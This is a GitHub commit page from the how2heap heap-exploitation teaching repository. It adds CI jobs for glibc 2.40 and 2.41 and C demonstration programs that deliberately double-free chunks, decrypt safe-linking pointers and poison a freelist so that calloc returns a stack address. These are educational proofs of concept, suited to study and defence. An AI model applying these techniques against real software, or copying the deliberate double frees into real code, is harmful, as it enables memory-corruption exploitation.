Skip to content

Commit 78eaa3f

Browse files
committed
add 2.40 2.41
1 parent 58c21b5 commit 78eaa3f

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

48 files changed

+5375
-1
lines changed

.github/workflows/ci.yml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -165,3 +165,29 @@ jobs:
165165
with:
166166
ubuntu: '24.04'
167167
glibc: '2.39'
168+
v2_40:
169+
runs-on: ubuntu-22.04
170+
name: glibc-v2.40
171+
steps:
172+
- name: build how2heap
173+
uses: shellphish/how2heap/ci/build@master
174+
with:
175+
ubuntu: '24.04'
176+
- name: test how2heap
177+
uses: shellphish/how2heap/ci/test@master
178+
with:
179+
ubuntu: '24.10'
180+
glibc: '2.40'
181+
v2_41:
182+
runs-on: ubuntu-22.04
183+
name: glibc-v2.41
184+
steps:
185+
- name: build how2heap
186+
uses: shellphish/how2heap/ci/build@master
187+
with:
188+
ubuntu: '24.04'
189+
- name: test how2heap
190+
uses: shellphish/how2heap/ci/test@master
191+
with:
192+
ubuntu: '25.04'
193+
glibc: '2.41'

Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
.PHONY: help clean distclean all test
22

3-
VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39
3+
VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41
44
TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c))
55
BASE_BINS := $(patsubst %.c,%,$(wildcard *.c))
66
DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs

glibc_2.40/decrypt_safe_linking.c

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
long decrypt(long cipher)
6+
{
7+
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
8+
puts("because of the 12bit sliding.");
9+
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
10+
long key = 0;
11+
long plain;
12+
13+
for(int i=1; i<6; i++) {
14+
int bits = 64-12*i;
15+
if(bits < 0) bits = 0;
16+
plain = ((cipher ^ key) >> bits) << bits;
17+
key = plain >> 12;
18+
printf("round %d:\n", i);
19+
printf("key: %#016lx\n", key);
20+
printf("plain: %#016lx\n", plain);
21+
printf("cipher: %#016lx\n\n", cipher);
22+
}
23+
return plain;
24+
}
25+
26+
int main()
27+
{
28+
/*
29+
* This technique demonstrates how to recover the original content from a poisoned
30+
* value because of the safe-linking mechanism.
31+
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
32+
* and the key (ASLR slide) is the same to the pointer's leading bits.
33+
* As a result, as long as the chunk where the pointer is stored is at the same page
34+
* of the pointer itself, the value of the pointer can be fully recovered.
35+
* Otherwise, we can also recover the pointer with the page-offset between the storer
36+
* and the pointer. What we demonstrate here is a special case whose page-offset is 0.
37+
* For demonstrations of other more general cases, plz refer to
38+
* https://github.com/n132/Dec-Safe-Linking
39+
*/
40+
41+
setbuf(stdin, NULL);
42+
setbuf(stdout, NULL);
43+
44+
// step 1: allocate chunks
45+
long *a = malloc(0x20);
46+
long *b = malloc(0x20);
47+
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
48+
malloc(0x10);
49+
puts("And then create a padding chunk to prevent consolidation.");
50+
51+
52+
// step 2: free chunks
53+
puts("Now free chunk a and then free chunk b.");
54+
free(a);
55+
free(b);
56+
printf("Now the freelist is: [%p -> %p]\n", b, a);
57+
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);
58+
59+
// step 3: recover the values
60+
puts("Now decrypt the poisoned value");
61+
long plaintext = decrypt(b[0]);
62+
63+
printf("value: %p\n", a);
64+
printf("recovered value: %#lx\n", plaintext);
65+
assert(plaintext == (long)a);
66+
}

glibc_2.40/fastbin_dup.c

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
int main()
6+
{
7+
setbuf(stdout, NULL);
8+
9+
printf("This file demonstrates a simple double-free attack with fastbins.\n");
10+
11+
printf("Fill up tcache first.\n");
12+
void *ptrs[8];
13+
for (int i=0; i<8; i++) {
14+
ptrs[i] = malloc(8);
15+
}
16+
for (int i=0; i<7; i++) {
17+
free(ptrs[i]);
18+
}
19+
20+
printf("Allocating 3 buffers.\n");
21+
int *a = calloc(1, 8);
22+
int *b = calloc(1, 8);
23+
int *c = calloc(1, 8);
24+
25+
printf("1st calloc(1, 8): %p\n", a);
26+
printf("2nd calloc(1, 8): %p\n", b);
27+
printf("3rd calloc(1, 8): %p\n", c);
28+
29+
printf("Freeing the first one...\n");
30+
free(a);
31+
32+
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
33+
// free(a);
34+
35+
printf("So, instead, we'll free %p.\n", b);
36+
free(b);
37+
38+
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
39+
free(a);
40+
41+
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
42+
a = calloc(1, 8);
43+
b = calloc(1, 8);
44+
c = calloc(1, 8);
45+
printf("1st calloc(1, 8): %p\n", a);
46+
printf("2nd calloc(1, 8): %p\n", b);
47+
printf("3rd calloc(1, 8): %p\n", c);
48+
49+
assert(a == c);
50+
}
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
/*
6+
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
7+
8+
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
9+
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
10+
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.
11+
12+
malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
13+
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
14+
if possible.
15+
16+
As of glibc version 2.35 it is called only in the following five places:
17+
1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)
18+
2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)
19+
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)
20+
4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)
21+
5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)
22+
23+
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24+
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
26+
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27+
a double free to gain control of a tcache sized chunk.
28+
*/
29+
30+
#define CHUNK_SIZE 0x400
31+
32+
int main() {
33+
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
34+
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
35+
36+
void *ptr[7];
37+
38+
for(int i = 0; i < 7; i++)
39+
ptr[i] = malloc(0x40);
40+
41+
void* p1 = malloc(0x40);
42+
printf("Allocate another chunk of the same size p1=%p \n", p1);
43+
44+
printf("Fill up the tcache...\n");
45+
for(int i = 0; i < 7; i++)
46+
free(ptr[i]);
47+
48+
printf("Now freeing p1 will add it to the fastbin.\n\n");
49+
free(p1);
50+
51+
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
52+
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
53+
printf("a tcache-sized chunk with chunk size 0x410 ");
54+
void* p2 = malloc(CHUNK_SIZE);
55+
56+
printf("p2=%p.\n", p2);
57+
58+
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
59+
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
60+
61+
assert(p1 == p2);
62+
63+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
64+
free(p1); // vulnerability (double free)
65+
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
66+
67+
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
68+
69+
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
70+
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
71+
void *p3 = malloc(CHUNK_SIZE);
72+
73+
assert(p3 == p2);
74+
75+
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
76+
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
77+
printf("We have achieved duplication!\n\n");
78+
79+
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
80+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
81+
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
82+
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
83+
84+
return 0;
85+
}
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
int main()
6+
{
7+
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
8+
"returning a pointer to a controlled location (in this case, the stack).\n");
9+
10+
11+
fprintf(stderr,"Fill up tcache first.\n");
12+
13+
void *ptrs[7];
14+
15+
for (int i=0; i<7; i++) {
16+
ptrs[i] = malloc(8);
17+
}
18+
for (int i=0; i<7; i++) {
19+
free(ptrs[i]);
20+
}
21+
22+
23+
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
24+
25+
fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);
26+
27+
fprintf(stderr, "Allocating 3 buffers.\n");
28+
int *a = calloc(1,8);
29+
int *b = calloc(1,8);
30+
int *c = calloc(1,8);
31+
32+
fprintf(stderr, "1st calloc(1,8): %p\n", a);
33+
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
34+
fprintf(stderr, "3rd calloc(1,8): %p\n", c);
35+
36+
fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
37+
free(a);
38+
39+
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
40+
41+
fprintf(stderr, "So, instead, we'll free %p.\n", b);
42+
free(b);
43+
44+
//Calling free(a) twice renders the program vulnerable to Double Free
45+
46+
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
47+
free(a);
48+
49+
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
50+
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
51+
unsigned long *d = calloc(1,8);
52+
53+
fprintf(stderr, "1st calloc(1,8): %p\n", d);
54+
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
55+
fprintf(stderr, "Now the free list has [ %p ].\n", a);
56+
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
57+
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
58+
"so that calloc will think there is a free chunk there and agree to\n"
59+
"return a pointer to it.\n", a);
60+
stack_var[1] = 0x20;
61+
62+
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
63+
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
64+
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
65+
unsigned long ptr = (unsigned long)stack_var;
66+
unsigned long addr = (unsigned long) d;
67+
/*VULNERABILITY*/
68+
*d = (addr >> 12) ^ ptr;
69+
/*VULNERABILITY*/
70+
71+
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
72+
73+
void *p = calloc(1,8);
74+
75+
fprintf(stderr, "4th calloc(1,8): %p\n", p);
76+
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
77+
}

0 commit comments

Comments
 (0)